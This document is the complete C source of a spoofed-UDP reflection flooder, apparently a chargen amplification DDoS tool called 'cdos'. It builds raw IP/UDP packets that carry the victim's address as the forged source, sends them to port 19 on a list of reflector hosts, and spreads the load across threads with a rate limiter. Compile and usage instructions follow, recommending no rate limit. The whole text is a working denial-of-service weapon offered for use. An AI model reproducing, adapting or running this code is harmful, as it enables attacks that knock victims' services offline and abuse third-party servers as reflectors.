Code:
#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
static uint32_t Q[4096], c = 362436;
struct list
{
    struct sockaddr_in data;
    struct list *next;
    struct list *prev;
};
struct list *head;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
void init_rand(uint32_t x)
{
    int i;
    Q[0] = x;
    Q[1] = x + PHI;
    Q[2] = x + PHI + PHI;
    for (i = 3; i < 4096; i++)
    {
  Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
    }
}

uint32_t rand_cmwc(void)
{
    uint64_t t, a = 18782LL;
    static uint32_t i = 4095;
    uint32_t x, r = 0xffe;
    i = (i + 1) & 4095;
    t = a * Q[i] + c;
    c = (t >> 32);
    x = t + c;
    if (x < c) {
  x++;
  c++;
    }
    return (Q[i] = r - x);
}

/* function for header checksums */
unsigned short csum (unsigned short *buf, int nwords)
{
    unsigned long sum = 0;
    for (sum = 0; nwords > 0; nwords--)
    sum += *buf++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
}

void setup_ip_header(struct iphdr *iph)
{
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 1;
    iph->id = htonl(54321);
    iph->frag_off = 0;
    iph->ttl = MAXTTL;
    iph->protocol = IPPROTO_UDP;
    iph->check = 0;
    iph->saddr = inet_addr("192.168.3.100");
}

void setup_udp_header(struct udphdr *udph)
{
    udph->source = htons(5678);
    udph->dest = htons(19);
    udph->check = 0;
    memset((void *)udph + sizeof(struct udphdr), 0x01, 1);
    udph->len=htons(sizeof(struct udphdr) + 1);
}

void *flood(void *par1)
{
    struct thread_data *td = (struct thread_data *)par1;
    char datagram[MAX_PACKET_SIZE];
    struct iphdr *iph = (struct iphdr *)datagram;
    struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
    struct sockaddr_in sin = td->sin;
    struct  list *list_node = td->list_node;
    int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
    if(s < 0){
  fprintf(stderr, "Could not open raw socket.\n");
  exit(-1);
    }
    init_rand(time(NULL));
    memset(datagram, 0, MAX_PACKET_SIZE);
    setup_ip_header(iph);
    setup_udp_header(udph);
    udph->source = sin.sin_port;
    iph->saddr = sin.sin_addr.s_addr;
    iph->daddr = list_node->data.sin_addr.s_addr;
    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
    int tmp = 1;
    const int *val = &tmp;
    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  exit(-1);
    }

    init_rand(time(NULL));
    register unsigned int i;
    i = 0;
    while(1){
  sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  list_node = list_node->next;
  iph->daddr = list_node->data.sin_addr.s_addr;
  iph->id = htonl(rand_cmwc() & 0xFF);
  iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

  pps++;
  if(i >= limiter)
  {
    i = 0;
    usleep(sleeptime);
  }
  i++;
    }
}
int main(int argc, char *argv[ ])
{
    if(argc < 6){
  fprintf(stderr, "Invalid parameters!\n");
  fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  exit(-1);
    }
    int i = 0;
    head = NULL;
    fprintf(stdout, "Setting up Sockets...\n");
    int max_len = 128;
    char *buffer = (char *) malloc(max_len);
    buffer = memset(buffer, 0x00, max_len);
    int num_threads = atoi(argv[4]);
    int maxpps = atoi(argv[5]);
    limiter = 0;
    pps = 0;
    int multiplier = 20;

    FILE *list_fd = fopen(argv[3],  "r");
    while (fgets(buffer, max_len, list_fd) != NULL) {
  if ((buffer[strlen(buffer) - 1] == '\n') ||
    (buffer[strlen(buffer) - 1] == '\r')) {
    buffer[strlen(buffer) - 1] = 0x00;
    if(head == NULL)
    {
    head = (struct list *)malloc(sizeof(struct list));
    bzero(&head->data, sizeof(head->data));
    head->data.sin_addr.s_addr=inet_addr(buffer);
    head->next = head;
    head->prev = head;
    } else {
    struct list *new_node = (struct list *)malloc(sizeof(struct list));
    memset(new_node, 0x00, sizeof(struct list));
    new_node->data.sin_addr.s_addr=inet_addr(buffer);
    new_node->prev = head;
    new_node->next = head->next;
    head->next = new_node;
    }
    i++;
  } else {
    continue;
  }
    }
    struct list *current = head->next;
    pthread_t thread[num_threads];
    struct sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(atoi(argv[2]));
    sin.sin_addr.s_addr = inet_addr(argv[1]);
    struct thread_data td[num_threads];
    for(i = 0;i<num_threads;i++){
  td[i].thread_id = i;
  td[i].sin= sin;
  td[i].list_node = current;
  pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
    }
    fprintf(stdout, "Starting Flood...\n");
    for(i = 0;i<(atoi(argv[6])*multiplier);i++)
    {
  usleep((1000/multiplier)*1000);
  if((pps*multiplier) > maxpps)
  {
    if(1 > limiter)
    {
    sleeptime+=100;
    } else {
    limiter--;
    }
  } else {
    limiter++;
    if(sleeptime > 25)
    {
    sleeptime-=25;
    } else {
    sleeptime = 0;
    }
  }
  pps = 0;
    }
    return 0;
}

Installing Dependencies
Centos: yum install gcc
Debian: apt-get install gcc

After installing gcc: gcc -o cdos cdos.c -pthread

Usage: ./cdos <target IP> <target port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>

For the pps limiter just put -1 and I recommend port: 1050.